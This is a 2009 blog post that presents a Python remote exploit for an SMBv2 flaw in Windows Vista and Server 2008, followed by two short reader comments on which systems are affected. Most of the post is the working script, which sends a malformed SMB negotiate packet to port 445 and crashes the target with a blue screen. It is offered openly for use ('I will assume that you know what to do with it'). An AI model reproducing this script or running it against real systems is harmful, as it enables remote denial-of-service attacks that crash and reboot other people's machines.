Remote 0day Exploit for Vista, 2008 in the Wilde
There is a flaw in SMB2.0 which exists (I mean the SMBv2 itself not the vulnerability) in windows vista, 2008,7 and 2008 R2 but only Windows Vista & 2008 are vulnerable. If you exploited this flaw successfully you will crash & reboot any vista or 2008 remotely (of course only if SMB 445 port open
). Anyhow here is the exploit code it's written in python
& I will assume that you know what to do with it
# SecurityReason Note :
# Tested on : Windows Vista SP2 full updated - US-en
#
#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High" header field it
dies with a
# PAGE_FAULT_IN_NONPAGED_AREA B.S.O.D
from socket import socket
from time import sleep
host = "IP_ADDR", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: -->
normal operation should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()
September 13th, 2009 - 23:05
damn it !!
i just installed win 7 as my enternment main OS …
((There is a flaw in SMB2.0 which exists in windows vista, 2008,7 and 2008 R2 but only Windows Vista & 2008 are affected))
how dose it exist in all the mentitioned systems BUT only two are infected.. may you shade more light ?
September 13th, 2009 - 23:29
Sorry, I was referring to SMBv2 availability in those systems (Vista, 7, 2008, 2008 R2) not to the vulnerability itself.
Will modify it now just to make it clearer for others
Thank you